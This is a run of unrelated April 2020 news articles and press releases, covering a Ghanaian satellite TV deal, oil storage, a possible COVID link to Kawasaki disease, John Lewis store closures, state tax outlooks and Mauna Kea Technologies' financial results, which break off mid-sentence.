Ghana and beyond. Registered under the Ghanas Companies Act, 2019 (Act 992), RCS will use Ku-Band band capacity on EUTELSAT 7B to broadcast its fast-growing free-to-air DTH bouquet comprising SD and HD channels to the Ghanaian market and over 40 other countries in Africa. For years, the Ghanaian company has made a mark a Satellite Provision company that provides SD and the only HD provider on the market now. Its parent company, Eutelsat in France is the same company that host all the DStv bouquets. The only difference is that, RCS has the most affordable and quality services on the market today, giving customers an unprecedented 2 megabits of dedicated picture quality. RCS operates in the 7 East neighbourhood which is a key orbital position for regional TV channels. Over 500 TV channels already broadcast from 7 East which has become a new DTH hotspot for Sub-Saharan Africa with some of the fastest growth rates in the region. Commenting on the new agreement with Eutelsat, Mr Hamza Tanko, Chairman and CEO of RCS Ghana noted that the company now has the capacity to provide exceptional content to a bigger market and audience. We are delighted to partner with Eutelsat for the broadcast of the RCS DTH bouquet, delivering exceptional content to viewers in Ghana and beyond, and enabling the broadcast of any channel in Ghana in high quality and at compelling rates, he said. Mr Tanko added that, The 7 East position is ideal to serve the Ghanaian market and EUTELSAT 7B offers consistent coverage and signal power all over Ghana as well as complete Sub-Saharan coverage of over 40 African countries. Also commenting on the deal, Nicolas Baravalle, Regional Vice President, Sub Saharan Africa of Eutelsat said they are proud of RCS Ghanas achievements. We are proud to support RCS Ghana in rolling out this high-quality content offering. This contract reflects the buoyancy of the Ghanaian broadcast market, the attraction of the unparalleled coverage of our 7 East neighbourhood and Eutelsats expertise in the African market. We look forward to a long and fruitful collaboration, he noted. Source: Peacefmonline.com Disclaimer : Opinions expressed here are those of the writers and do not reflect those of Peacefmonline.com. Peacefmonline.com accepts no responsibility legal or otherwise for their accuracy of content. Please report any inappropriate content to us, and we will evaluate it as a matter of priority. Featured Video Global oil storage space is running low, production is not falling quickly enough, and yet last week hedge funds bought a record amount of WTI contracts, Reuters John Kemp said Monday. At the equivalent of 122 million barrels, the amount of crude futures purchased last week was the highest since at least last December. According to Kemp, the reason for the increased buying is an expectation of an oil price rebound. The buyers must expect this rebound to take place soon, even though there are no indications to support such an attitude. On the contrary, the latest price moves suggest the opposite. On Monday, West Texas Intermediate dropped by 25 percent to less than $13 a barrel and continued falling on Tuesday in Asian trading, sinking below $11 a barrel. The United States Oil Fund said yesterday that it would sell all its oil futures for June delivery within four days. That had a lot to do with the drop in WTI prices, and it also had a lot to do with the growing worry about storage space a worry that did not bother hedge funds and other market-making buyers last week. It may change their mind this week, however. And with a good reason. Goldman Sachs yesterday became the latest to join the rising number of oil storage doomsayers. The investment bank said that the worlds storage capacity could reach its limit within just three weeks. This, the banks analysts said in a note, would heighten volatility and keep it high until supply and demand rebalances. For this to happen, supply needs to decline by another 18 million bpd next month, as this is the size of demand loss that Goldman expects. That is much easier said than done, because those additional 18 million barrels per day comes on the heels of a demand loss totaling 29 million bpd, according to International Energy Agency estimates for April. Producers, though, are cutting. Related: Trump Could Use Nuclear Option To Make Saudi Arabia Pay For Oil War In addition to the 9.7 million bpd in OPEC+ cuts that should begin next month, U.S. production has fallen by some 600,000 bpd and counting, and Canada has slashed its oil production by 300,000 bpd. Brazil has cut 200,000 bpd off its daily average, Reuters reports. This is barely above 1 million bpd in production cuts outside OPEC+. While the chances are that U.S. production cuts will likely accelerate in the coming weeks as companies rush to shut in the wells that produce oil at rates higher than the selling price, it may be too little too late. Global oil storage is filling at a rate of 10 million bpd, according to data from commodities analysis firm Kayrros, reported by the Wall Street Journal. The firms chief analyst Antoine Halff called this rate monstrous and warned that if it continues unabated, storage would be full in a little over three months. Luckily for the industry, the rate of additions has slowed down a bit, Kayrros product manager Augustin Prate told Oilprice. Crude demand in China has almost fully recovered, with refinery runs back to pre-lockdown levels, Prate said. There is bad news as well but also a glimmer of hope. In both India and the U.S., refinery runs are 25% below pre-lockdown levels, Prate said. But In the U.S., after falling to between 25-45% of pre-lockdown level, traffic in major cities is now up 5-10 percentage points from the low points. Related: Are Oil Prices Heading Back Into Negative Territory? The United States is among the places where storage space is already tight, so any improvement in demand would be a cause for celebration. Cushing, the countrys largest oil storage complex, added 10 percent last week, to 59.7 million barrels. This is 25 million barrels below maximum capacity, which may sound like a lot. It isnt if the rate of addition continues. Enterprise Products Partners earlier this month offered producers space in its northbound Seaway pipeline, providing U.S. oil producers struggling to place their oil near the Gulf Coast the ability to ship their barrels to the storage hub at Cushing. The problemfor producers and bullish hedge funds alikeis that there isnt a quick solution to the storage problem. Shutting in wells takes time and even setting wells on firewhich some Russian producers are reportedly considering as one way to reduce output quicklytakes time. This is time that many smaller oil producers dont have, so bankruptcies are on the way. This would mean a more lasting decline in production, which is good news for bulls. The question remains whether this decline will happen soon enough. For now, this is highly unlikely, so we may see another massive selloff when the next front-month oil contract nears expiry. By Irina Slav for Oilprice.com More Top Reads From Oilprice.com: Italian and British medical experts are investigating a possible link between the coronavirus pandemic and clusters of severe inflammatory disease among infants who are arriving in hospital with high fevers and swollen arteries. Doctors in northern Italy, one of the world's hardest-hit areas during the pandemic, have reported extraordinarily large numbers of children aged under nine with severe cases of what appears to be Kawasaki disease, more common in parts of Asia. In Britain, doctors have made similar observations, prompting Health Secretary Matt Hancock to tell a coronavirus news briefing on Monday that he was "very worried" and that medical authorities were looking at the issue closely. Kawasaki disease, whose cause is unknown, often afflicts children aged under five and is associated with fever, skin rashes, swelling of glands and, in severe cases, inflammation of arteries of the heart. England's national medical director, Stephen Powis, told the British briefing he had become aware of reports of severely ill children with Kawasaki-like symptoms in the past few days but stressed it was too early to determine a link with coronavirus. "I've asked the national clinical director for children and young people to look into this as a matter of urgency ... We're not sure at the moment." In Italy, paediatricians are also alarmed. A hospital in the northern town of Bergamo has seen more than 20 cases of severe vascular inflammation in the past month, six times as many as it would expect to see in a year, said paediatric heart specialist Matteo Ciuffreda. Ciuffreda, of the Giovanni XXIII hospital, said only a few of the infants with vascular inflammation had tested positive for the new coronavirus, but paediatric cardiologists in Madrid and Lisbon had told him they had seen similar cases. He has called on his colleagues to document every such case to determine if there is a correlation between Kawasaki disease and COVID-19. He aims to publish the results of the Italian research in a scientific journal. 'MULTI-ORGAN INFLAMMATION' Ciuffreda said his first case of apparent Kawasaki disease was a nine-year-old boy who came to hospital on March 21, at the peak of the coronavirus outbreak, with high fever and low blood oxygen levels. He tested negative for coronavirus. A scan showed he had an enlarged coronary artery, a hallmark of severe cases of Kawasaki disease, he said. "The little boy worried me a lot, with a violent multi-organ inflammation affecting both heart and the lungs," he said. "I feared he wouldn't survive but surprisingly, in the course of a few days, he took a positive turn and he got better." Kawasaki disease was also anecdotally linked 16 years ago to another known coronavirus, though it was never proven. The research was carried out after another, related coronavirus known as NL63 was found in a baby showing symptoms of Kawasaki disease in 2004. Professor Ian Jones, professor of virology at the University of Reading in Britain, said the NL63 virus uses the same receptor as the new coronavirus to infect humans but also stressed that it was too early to draw conclusions. "We just have to wait and see if this becomes a common observation," he said. The American Academy of Pediatrics has yet to see something similar in the United States, which has the most number of coronavirus infections and deaths. "We are not aware of any reports of this phenomenon in the United States," Dr Yvonne Maldonado, who chairs the academy's committee on infectious disease, said in an email referring to a potential link between COVID-19 and Kawasaki-type symptoms. Search Keywords: Short link: BEIJING, April 27 (Xinhua) -- Beijing will soon ban the catering industry from voluntarily offering disposable tableware to customers. A catalog jointly formulated by several of the city's government organs will take effect on May 1. According to the catalog, the disposable tableware includes chopsticks, spoons, knives and forks. For food delivery platforms, if the customers do not tick for disposable tableware, it will be viewed as an indication that they don't need disposable tableware. B osses at John Lewis have started talks on which department stores should keep their doors permanently closed once the coronavirus lockdown ends, according to sources. Sources close to the retailer said it was highly unlikely that all 50 sites would reopen, as the company battles for its future amid a drop in sales during the pandemic. It comes as Dame Sharon White, the chairman of the John Lewis Partnership (JLP), and her team are set to address analysts in the City on Wednesday, updating them on the companys performance during the past week. There has also been speculation that Dame Sharon will need to tap up customers and financial institutions, through a corporate bond, for extra cash. The Times reported on Monday that the former Ofcom chief is seeking out views to see if investors are willing. JLP also includes Waitrose, which has fared better during the lockdown after remaining open. One minute silence to NHS heroes who lost lives to the Coronavirus 1 /25 One minute silence to NHS heroes who lost lives to the Coronavirus London Ambulance Staff observe the minute silence today at their HQ in Waterloo Road Jeremy Selwyn Staff stand outside Salford Royal Hospital in Manchester during a minute's silence to pay tribute to the NHS staff and key workers who have died during the coronavirus outbreak PA Shoppers queue in the rain outside Costco in Thurrock during a minutes silence to pay tribute to the NHS staff and key workers who have died during the coronavirus outbreak PA A minute silence in honour of key workers who have lost their lives due to COVID-19 Sky News London Ambulance Staff observe the minute silence today at their HQ in Waterloo Road Jeremy Selwyn Staff react outside Salford Royal Hospital in Manchester during a minute's silence to pay tribute to the NHS staff and key workers who have died during the coronavirus outbreak PA A staff member reacts outside Salford Royal Hospital in Manchester during a minute's silence to pay tribute to the NHS staff and key workers who have died during the coronavirus outbreak PA Members of the public, NHS staff, and Police offices, some wearing PPE (personal protective equipment) of a face mask as a precautionary measure against COVID-19, pause for a minute's silence to honour UK key workers AFP via Getty Images A police officer observes a minute silence in honour of key workers who have lost their lives due to COVID-19 outside 10 Downing Street, Reuters London Ambulance Staff observe the minute silence today at their HQ in Waterloo Road Jeremy Selwyn Cabinet Secretary Mark Sedwill, Prime minister Boris Johnson and Chancellor of the Exchequer Rishi Sunak stand inside 10 Downing Street, London, to observe a minutes silence in tribute to the NHS staff and key workers who have died during the coronavirus outbreak PA A minute silence in honour of key workers who have lost their lives due to COVID-19 Sky News London Ambulance Staff observe the minute silence today at their HQ in Waterloo Road Jeremy Selwyn Staff stand outside the Royal Derby Hospital, during a minutes silence to pay tribute to the NHS staff and key workers who have died during the coronavirus outbreak PA Staff stand outside the Royal Derby Hospital, during a minutes silence to pay tribute to the NHS staff and key workers who have died during the coronavirus outbreak PA Staff stand inside Camberwell bus depot in London, during a minute's silence to pay tribute to the NHS staff and key workers who have died during the coronavirus outbreak PA National Shop Stewards Network protesters outside St Thomas' Hospital in London, during a minute's silence which was to pay tribute to the NHS staff and key workers who have died during the coronavirus outbreak. PA Staff members applaud outside the Royal Derby Hospital, following a minute's silence to pay tribute to the NHS staff and key workers who have died during the coronavirus outbreak. PA First Minister Nicola Sturgeon stands outside St Andrew's House in Edinburgh to observe a minute's silence in tribute to the NHS staff and key workers who have died during the coronavirus outbreak PA Veteran retail analyst, Richard Hyman, explained: Does it make sense for John Lewis to close some stores, absolutely yes. No one wants to see people losing their jobs which is what would happen, but the reality is for the market at large, online has been getting bigger and bigger, with John Lewis at the vanguard. He added: The reality is the retail world we are all moving into means every retailer needs fewer stores than it did before, including John Lewis, and not addressing this problem puts the rest of the business in jeopardy. Shortly after arriving at John Lewis Partnership earlier this year, Dame Sharon already warned the company is facing the most challenging period in its history. John Lewis to temporarily close all 50 stores amid coronavirus pandemic She added in February that stores are unlikely to remain open without financial improvements. JLP said in a statement: We keep our estate under continuous review in order to ensure we have the right amounts of shops to best serve our customers and remain commercially viable. [April 28, 2020] Wescom Credit Union Donates $10,000 Worth of GrubHub Gift Cards to Huntington Memorial Hospital Workers on Front Lines of COVID-19 As part of its long-standing tradition of giving back to the communities it serves, Pasadena-based Wescom Credit Union is donating $10,000 worth of GrubHub gift cards to Huntington Memorial Hospital workers on the front lines of COVID-19. Additionally, Wescom is providing $45,000 in grant support to four nonprofit Southern California food banks to help them continue to provide food and meals to those in need. "Supporting our local communities and residents has always been a strong part of our ethos," said Melissa Pederson, Senior Vice President Administration, Wescom Credit Union. "We know Huntington Memorial staff are working tirelessly to care for sick patients and to keep our community safe during the COVID-19 pandemic, and we wanted to show our appreciation with a little #WescomKindness. The GrubHub gift cards give recipients the flexibility to use them to order a meal for themselves while on duty or for their family at home. They also help support local restaurants and the economy during this challenging time." "On behalf of everyone who works at Wescom, and our nearly 200,000 members, we are honored to give back to Huntington Memorial - a hospital right in our backyard of Pasadena. We thank their staff for all they do," continued Pederson. Wescom also plans to support two other local Southern California hospitals next month with $10,000 worth of GrubHub gift cards each. In addition to the hospital GrubHub gift card donations, Wescom will provide $45,000 in grant support to four nonprofit Southern California food banks - Los Angeles Regional Food Bank, Second Harvest Food Bank of Orange County, Feeding America Riverside San Bernardino Counties and Food Share of Ventura County. "We know the COVID-19 pandemic is creating a particularly challenging time for everyone, and low-income individuals and families are especially hard hit," explained Pederson. "This grant support, provided by our employee-run Foundation, will help local food banks continue to provide food and meals to those in need throughout Los Angeles, Orange (News - Alert), Ventura, San Bernardino and Riverside counties." For more than 85 years, Wescom has been dedicated to helping Southern Californians build better lives, and through #WescomKindness, they conduct small acts of kindness to community members. To learn more about Wescom, visit WescomTogether.com. About Wescom Credit Union Since 1934, Wescom Credit Union has been dedicated to helping people throughout Southern California build better lives. Headquartered in Pasadena, California, Wescom has 24 branches providing essential banking solutions to nearly 200,000 members. Benefits include lower loan rates, higher savings yields, reduced fees, and a robust network of branches and ATMs. #WescomKindness is an extension of Wescom Credit Union's more than 85-year tradition of serving its community through such programs as The Wescom Foundation - the credit union's employee run charitable foundation. For more information, please visit WescomTogether.com. View source version on businesswire.com: https://www.businesswire.com/news/home/20200428006063/en/ [ Back To TMCnet.com's Homepage ] Virginia Gov. Ralph Northam (D) "took a step beyond what is allowed" when he issued coronavirus restrictions in March including the closure of nonessential businesses that extended to a local gun range, a circuit judge ruled Monday. Why it matters: Gun rights groups said in their lawsuit the action violated the Second Amendment. University of Virginia law professor Richard Schragger noted to the Washington Post that if the state Supreme Court upholds the ruling enabling the shooting range to remain open, it may "lead to challenges in other states, though it is important to note that Virginias emergency powers statute includes fairly broad language protecting gun possession, use, and carrying." Go deeper: In photos: Groups protest coronavirus lockdowns across the U.S. Legendary fund manager Li Lu (who Charlie Munger backed) once said, 'The biggest investment risk is not the volatility of prices, but whether you will suffer a permanent loss of capital. So it seems the smart money knows that debt - which is usually involved in bankruptcies - is a very important factor, when you assess how risky a company is. Importantly, Asiaray Media Group Limited (HKG:1993) does carry debt. But is this debt a concern to shareholders? What Risk Does Debt Bring? Generally speaking, debt only becomes a real problem when a company can't easily pay it off, either by raising capital or with its own cash flow. Part and parcel of capitalism is the process of 'creative destruction' where failed businesses are mercilessly liquidated by their bankers. While that is not too common, we often do see indebted companies permanently diluting shareholders because lenders force them to raise capital at a distressed price. Of course, the upside of debt is that it often represents cheap capital, especially when it replaces dilution in a company with the ability to reinvest at high rates of return. When we examine debt levels, we first consider both cash and debt levels, together. See our latest analysis for Asiaray Media Group What Is Asiaray Media Group's Net Debt? As you can see below, Asiaray Media Group had HK$272.6m of debt, at December 2019, which is about the same as the year before. You can click the chart for greater detail. However, it does have HK$415.5m in cash offsetting this, leading to net cash of HK$142.9m. SEHK:1993 Historical Debt April 27th 2020 How Strong Is Asiaray Media Group's Balance Sheet? The latest balance sheet data shows that Asiaray Media Group had liabilities of HK$1.34b due within a year, and liabilities of HK$2.56b falling due after that. Offsetting these obligations, it had cash of HK$415.5m as well as receivables valued at HK$682.9m due within 12 months. So its liabilities outweigh the sum of its cash and (near-term) receivables by HK$2.80b. Story continues When you consider that this deficiency exceeds the company's HK$2.63b market capitalization, you might well be inclined to review the balance sheet intently. Hypothetically, extremely heavy dilution would be required if the company were forced to pay down its liabilities by raising capital at the current share price. Asiaray Media Group boasts net cash, so it's fair to say it does not have a heavy debt load, even if it does have very significant liabilities, in total. Importantly, Asiaray Media Group's EBIT fell a jaw-dropping 66% in the last twelve months. If that decline continues then paying off debt will be harder than selling foie gras at a vegan convention. The balance sheet is clearly the area to focus on when you are analysing debt. But it is Asiaray Media Group's earnings that will influence how the balance sheet holds up in the future. So when considering debt, it's definitely worth looking at the earnings trend. Click here for an interactive snapshot. Finally, a company can only pay off debt with cold hard cash, not accounting profits. While Asiaray Media Group has net cash on its balance sheet, it's still worth taking a look at its ability to convert earnings before interest and tax (EBIT) to free cash flow, to help us understand how quickly it is building (or eroding) that cash balance. Happily for any shareholders, Asiaray Media Group actually produced more free cash flow than EBIT over the last three years. That sort of strong cash conversion gets us as excited as the crowd when the beat drops at a Daft Punk concert. Summing up Although Asiaray Media Group's balance sheet isn't particularly strong, due to the total liabilities, it is clearly positive to see that it has net cash of HK$142.9m. And it impressed us with free cash flow of HK$637m, being 272% of its EBIT. Despite its cash we think that Asiaray Media Group seems to struggle to grow its EBIT, so we are wary of the stock. When analysing debt levels, the balance sheet is the obvious place to start. But ultimately, every company can contain risks that exist outside of the balance sheet. For example, we've discovered 2 warning signs for Asiaray Media Group that you should be aware of before investing here. When all is said and done, sometimes its easier to focus on companies that don't even need debt. Readers can access a list of growth stocks with zero net debt 100% free, right now. If you spot an error that warrants correction, please contact the editor at editorial-team@simplywallst.com. This article by Simply Wall St is general in nature. It does not constitute a recommendation to buy or sell any stock, and does not take account of your objectives, or your financial situation. Simply Wall St has no position in the stocks mentioned. We aim to bring you long-term focused research analysis driven by fundamental data. Note that our analysis may not factor in the latest price-sensitive company announcements or qualitative material. Thank you for reading. LumiNola States facing revenues in sharp decline amid the coronavirus pandemic have tough choices ahead and you might be shelling out more in state and local taxes as a result. State and local governments were left out of the $484 billion coronavirus relief bill that President Donald Trump signed into law last week. "Our costs are going up, serving folks who have lost their jobs, small businesses that have been crushed, folks who are in the health-care system," said New Jersey Gov. Phil Murphy in a Monday morning interview on CNBC's Squawk Box. "Our revenues have fallen off the table," he said. Jurisdictions that are scrounging for money amid Covid-19 can tap their rainy day fund, if it's available. They can also drastically cut services to their constituents or find ways to boost taxes. "We're hopeful for federal aid, but if it doesn't come through or it isn't up to the magnitude of the gaps that emerge, then states will have to balance their budgets," said Nick Johnson, senior vice president for state fiscal policy at the Center on Budget and Policy Priorities. Revenue in decline by Schneider-Photographie Lockdown orders and layoffs deprive states and localities of two valuable sources of revenue: income taxes and sales taxes. States are expected to run a $105 billion deficit, in aggregate, for the 2020 fiscal year as Covid-19 puts a dent into their finances, according to estimates from the Center on Budget and Policy Priorities. The majority of states 46 of them will kick off their 2021 fiscal year on July 1, 2020. The pain is expected to continue. Aggregate state budget deficits are expected to reach $209 billion in the 2021 fiscal year, the Center forecasted. Where taxes could rise Here's where you might see states and localities boost taxes as they scramble for additional revenue: Corporate income taxes: If you normally commute to a neighboring state to work, your home state may want its slice of the income you're generating while you work from your living room. In this case, your home state could argue that your employer has a presence there and is responsible for state taxes. A handful of jurisdictions (Indiana, Mississippi, New Jersey, Pennsylvania and Washington, D.C.) are giving corporations a pass on this issue due to Covid-19. But be aware of how your state proceeds. Online purchases: A Supreme Court decision in 2018 opened the floodgates for states to require online merchants to collect and remit sales taxes. "Most states have set the threshold at 200 transactions and $100,000 in sales," said Andrew Moylan, executive vice president of the National Taxpayers Union Foundation. "You could see states start to push those numbers down." More from Smart Tax Planning: How are unemployment benefits taxed? The PPP ran out, and these businessowners were shut out Why you should pay those old tax bills immediately Excise and sales taxes: States may view your on line viewing habits as a source of funding. "Most digital services aren't taxed, and that's one thing states could look into," said Lucy Dadayan, senior research associate at the Tax Policy Center. Similarly, people may be locked up in their homes, but they're still buying goods online: Rates on sales taxes may rise. Property taxes: Towns and cities, rather than states, handle property taxes and could depend on them even more. "Property tax is the most stable tax in a recession, especially right now when assessment values haven't changed," said Jared Walczak, director of state tax policy at the Tax Foundation. Full Year 2019 total sales up 10%; Sales to clinical customers up 27% First Quarter 2020 total sales down 14%; Sales to clinical customers down 7% driven by COVID-related procedure headwinds Regulatory News: Mauna Kea Technologies (Paris:MKEA) (OTCQX:MKEAY) inventor of Cellvizio, the multidisciplinary probe and needle-based confocal laser endomicroscopy (pCLE/nCLE) platform, today announced full year 2019 financial results for the twelve months ended December 31, 2019 and first quarter 2020 sales results for the three months ended March 31, 2020. "Our financial performance for the full year 2019 period reflects solid execution against our strategic priorities which we outlined at the beginning of the year," stated Robert L. Gershon, Chief Executive Officer of Mauna Kea Technologies. "In addition to the strong top-line performance in 2019, we made progress towards our goal of preserving our capital resources and enhancing our balance sheet condition in 2019. We prioritized our investment areas to minimize the growth in operating expenses and we announced a new partnership with the European Investment Bank which provided us valuable growth capital and improved our cash flow profile as a result of more attractive borrowing terms. We also announced a strategic equity investment agreement with Johnson Johnson Innovation JJDC, Inc. which provided additional capital to fund our strategic growth initiatives." Mr. Gershon continued: "While the long-term growth opportunity for Mauna Kea remains extremely compelling, our near-term outlook has been challenged by the global crisis caused by the coronavirus, or COVID-19, beginning in the first quarter of 2020. Given the rapidly evolving dynamics in our primary commercial markets around the world, we are unable to predict when the procedure and system adoption trends will improve. We have implemented a series of significant cost-cutting actions designed to reduce operating expenses and maximize our capital resources to support the Company's strategic growth initiatives. In recent weeks, we pursued opportunities to enhance our balance sheet by successfully negotiating a drawdown of the second tranche of our loan agreement with European Investment Bank for 6.0 million and secured a loan for $0.7 million (0.64 million) from the Paycheck Protection Program authorized under the U.S. Coronavirus Aid, Relief, and Economic Security ("CARES") Act. Together, these actions should provide sufficient liquidity to manage the business for the next twelve months. We are navigating the unprecedented changes in our target markets responsibly and we are focused on ensuring that the organization is well-positioned to drive growth post COVID-19 when normal case loads resume in the U.S., APAC and EMEA/ROW regions." Full Year 2019 Financial Summary Total revenue 1 for the full year 2019 period increased 0.6 million, or 8% year-over-year to 8.5 million. for the full year 2019 period increased 0.6 million, or 8% year-over-year to 8.5 million. As previously reported, total sales for the full year 2019 period increased 0.7 million, or 10% year-over-year, to 7.4 million Sales to clinical customers for the full year 2019 period increased 1.5 million, or 27% year-over-year, to 7.2 million, representing 96% of total sales, compared to 83% of total sales in the full year 2018 period Gross margin was 69.6% in the full year 2019 period, compared to 69.6% in the full year 2018 period Operating loss was 13.0 million in the full year 2019 period, compared to operating loss of 12.0 million in the full year 2018 period Net loss was 15.3 million in the full year 2019 period, compared to net loss of 12.8 million in the full year 2018 period As of December 31, 2019, the Company had a cash balance of 10.0 million and long-term debt obligations of 15.5 million, compared to 8.6 million of cash and 6.5 million of long-debt obligations, as of December 31, 2018. Second Half of 2019 and Recent Operating Highlights: On October 9, 2019, the Company announced three publications on two large prospective studies (ClinicalTrials.gov INDEX study identifier: NCT02516488 and CONTACTII study identifier: NCT01563133) that demonstrate how Cellvizio positively impacts the diagnosis and management of pancreatic cystic lesions (PCL). On November 7, 2019, the Company announced it is part of a molecular imaging consortium that was awarded 5.4 million by the Perspective Program of the Netherlands Organization for Scientific Research (NWO). On December 16, 2019, the Company announced a strategic equity investment of 7.5 million euro by Johnson Johnson Innovation JJDC, Inc. (JJDC). Pursuant to the agreement, JJDC, the strategic venture capital arm of Johnson Johnson, will subscribe to 5,357,142 new ordinary MKEA shares for 1.40 per share, representing a total equity value of 7.5 million euro. On January 8, 2020, the Company announced a publication that demonstrates how Cellvizio positively impacts the diagnostic yield and the clinical management of pancreatic cystic lesions (PCL). On January 27, 2020, the Company announced it received U.S. Food and Drug Administration (FDA) 510(k) clearance for the Cellvizio 100 series and all associated Confocal Miniprobes for the additional indication of visualization of blood flow when used in conjunction with a fluorescent dye, fluorescein, as a drug device combination. This marked the 17th U.S. FDA 510(k) clearance of the Cellvizio p/nCLE platform. Full Year 2019 and 2018 Consolidated Financial Results: (in millions) IFRS Full Year 2019 Full Year 2018 Chg. % Change Sales 7.4 6.8 0.7 10% Other Income 1.1 1.1 ( 0.1) (6%) Total Revenue 8.5 7.9 0.6 8% Cost of Sales 2.3 2.1 0.2 10% Gross Profit 5.2 4.7 0.5 10% Gross Margin (%) 69.6% 69.6% Research Development 3.2 4.7 ( 1.5) (32%) Sales Marketing 9.0 9.1 ( 0.1) (1%) Administrative Expenses 6.2 4.0 2.2 57% Share-Based Payments 1.0 0.1 0.8 588% Total Operating Expenses 19.3 17.8 1.4 8% Operating Profit (Loss) ( 13.0) ( 12.0) ( 1.0) 9% Interest expense (income), net 2.2 0.8 1.5 185% Net Profit (Loss) ( 15.3) ( 12.8) ( 2.5) 19% *numbers may not foot due to rounding Gross profit for the full year 2019 period increased 0.5 million, or 10% year-over-year, to 5.2 million, compared to 4.7 million for the full year 2018 period driven by the the sales increase. Gross margin for the full year 2019 period was 69.6%, compared to 69.6% in the full year 2018 period. Total operating expenses for the full year 2019 period increased 1.4 million, or 8% year-over-year, to 19.3 million, compared to 17.8 million for the full year 2018 period. The increase in total operating expenses was primarily driven by an increase in administration expenses of 2.2 million, or 57% year-over-year, to 6.2 million, driven by investments made in the second half 2018 to strenghen the management team and, an increase in share-based payment of 0.8 million, or 588% year-over-year, to 1.0 million, driven by the allocation of free shares and stock options in 2018. The increase in total operating expenses for the full year 2019 period was partially offset by lower research and development expenses due to the capitalization of 0.8 million of expenses and lower sales marketing expenses which decreased 1.5 million and 0.1 million, respectively, compared to the full year 2018 period. Operating loss for the full year 2019 period was 13.0 million, compared to an operating loss of 12. million for the full year 2018 period. The increase in operating loss was driven by the 0.5 million increase in gross profit, offset by the 1.4 million increase in operating expenses compared to the prior year period. Net loss for the full year 2019 period was 15.3 million, compared to a net loss of 12.8 million for the full year 2018 period. The increase in net loss was primarily driven by the increase in operating loss compared to the prior year period as well as an increase in interest expenses, net, driven primariliy by non-recurring financial costs of 1.7 million associated to the early repayment of the IPF Partners bond financing. As of December 31, 2019, the Company had a cash balance of 10.0 million and long-term debt obligations of 15.5 million, compared to 8.6 million of cash and 6.5 million of long-term debt obligations, as of December 31, 2018. The change in cash during full year 2019 period was driven by 10.3 million of cash used in operating activities and 1.4 million of cash used in investing activities, offset by 13.0 million of cash from financing activities. Cash from financing activities for the full year 2019 period was driven by proceeds from the first tranche of 11.5 million under a financing agreement concluded on June 20, 2019 with the European Investment Bank and a strategic equity investment of 7.5 million euro by Johnson Johnson Innovation JJDC, Inc. (JJDC) on December 16, 2019, partially offset by redemption of all non-dilutive bond financing with IPF Partners for a total amount of 10.7 million on June 28, 2019. Following a review of its liquidity risk, the company concluded it is able to meet its cash flow requirements through December 2020. Mauna Kea Technologies had 101 employees as of December 31, 2019, compared to 100 employees as of December 31, 2018. The consolidated accounts for the full year 2019 period have been audited and legal audit reports are currently being issued. First Quarter Total Sales by Category: (in millions) IFRS Q1'20 Q1'19 Chg. % Chg. Systems 0.6 0.6 ( 0.0) (1%) Consumables 0.6 0.9 ( 0.2) (27%) Services 0.3 0.3 ( 0.0) (0%) Total Sales 1.5 1.7 ( 0.2) (14%) Total sales for the first quarter of 2020 period were 1.5 million, down 14% year-over-year. First quarter 2020 sales performance was driven primarily by a 27% decrease in consumables sales and, to a lesser extent, a 1% decrease in system sales in the period. The year-over-year decrease in total consumables sales in the first quarter of 2020 was a result of lower procedure-related demand for Cellvizio probes in the Company's targeted commercial geographies around the world as a result of the COVID-19 pandemic. First quarter 2020 total sales performance benefitted from stronger-than-expected demand for Cellvizio systems in both the U.S. and APAC during the period. Sales by Geography with split by activity (Clinical Pre-clinical) (in millions) IFRS Q1'20 Q1'19 Chg. % Chg. Clinical 0.8 0.7 0.1 20% Pre-clinical 0.0 0.0 ( 0.0) (100%) U.S. Canada 0.8 0.7 0.1 17% Clinical 0.5 0.6 ( 0.1) (14%) Pre-clinical 0.0 0.0 n/m n/m Asia-Pacific 0.5 0.6 ( 0.1) (14%) Clinical 0.2 0.3 ( 0.2) (50%) Pre-clinical 0.0 0.1 ( 0.1) (100%) EMEA ROW 0.2 0.5 ( 0.3) (63%) Total Clinical Sales 1.5 1.6 ( 0.1) (7%) Total Pre-clinical Sales 0.0 0.1 ( 0.1) (100%) Total Sales 1.5 1.7 ( 0.2) (14%) *numbers may not foot due to rounding Clinical sales Total clinical sales for the first quarter of 2020 decreased 0.1 million, or 7% year-over-year, to 1.5 million, compared to 1.6 million in the prior year period. The decrease in total clinical sales was driven by a 50% decrease in clinical sales in the EMEA and Rest of World regions and a 14% decrease in clinical sales in the Asia-Pacific region, partially offset by a 20% increase in clinical sales in the U.S. and Canada regions. First quarter 2020 total clinical sales performance benefitted from stronger-than-expected demand for Cellvizio systems in both the U.S. and APAC during the period. Sales to clinical customers represented approximately 100% of total Company sales in the first quarter of 2020, compared to 92% of total Company sales in the prior year period. Pre-clinical sales Total pre-clinical sales for the first quarter of 2020 decreased 0.1 million, or 100% year-over-year, to 0.0 million, compared to 0.1 million in the prior year period. The year-over-year decrease in pre-clinical sales was a direct result of the Company's strategic focus on clinical sales opportunities compared to prior years which included targeting pre-clinical customers as well. The clinical market is more attractive given the larger market opportunity compared to the pre-clinical market and more predictable/recurring revenue model compared to the pre-clinical market. Sales to pre-clinical customers represented 0% of total Company sales in the first quarter of 2020, compared to 8% of total Company sales in the prior year period. First Quarter Unit Sales by Type: Q1'20 Q1'19 # Chg. % Chg. New Systems Sold 6 6 n/m n/m New System Placements 2 7 (5) (71%) Consumable Probe Shipments 107 195 (88) (45%) Total Cellvizio System shipments decreased to 8 units in the first quarter of 2020, compared to 13 units in the prior year period. Total system shipments included 1 sale and 2 placements in the U.S. in the first quarter of 2020, compared to no sales and 7 placements in the prior year period. Consumable probe shipments decreased 45% year-over-year to 107 in the first quarter of 2020, compared to 195 shipments in the prior year period driven primarily by lower procedure-related demand as a result of the COVID-19 pandemic. Conference Call Details: Mauna Kea Technologies will host a conference call today at 6:00 PM (CEST Paris time) 1:00 PM (ET New York time) to discuss the Company's full year 2019 financial results, first quarter 2020 sales results and to provide a business update. The conference call will be hosted by Robert L. Gershon, CEO, and Christophe Lamboeuf, CFO. To access the conference call, please use one of the following dial-in numbers at least 5 minutes prior to the scheduled start time and follow the instructions: USA: +1 646-722-4916 UK: +44 (0)20 7194 3759 FR: +33 (0)1 72 72 74 03. The passcode for the conference call is: 85475867#. Following the conclusion of the live call, a replay will be available for 90 days. To access the replay, please dial one of the following numbers: USA: +1 (646) 722-4969 UK: +44 (0)20 3364 5147 FR: +33 (0)1 70 71 01 60. The passcode for the replay is: 418925561#. Next Sales Results Announcement: Second quarter of 2020 sales July 20, 2020 after market close About Mauna Kea Technologies Mauna Kea Technologies is a global medical device company focused on 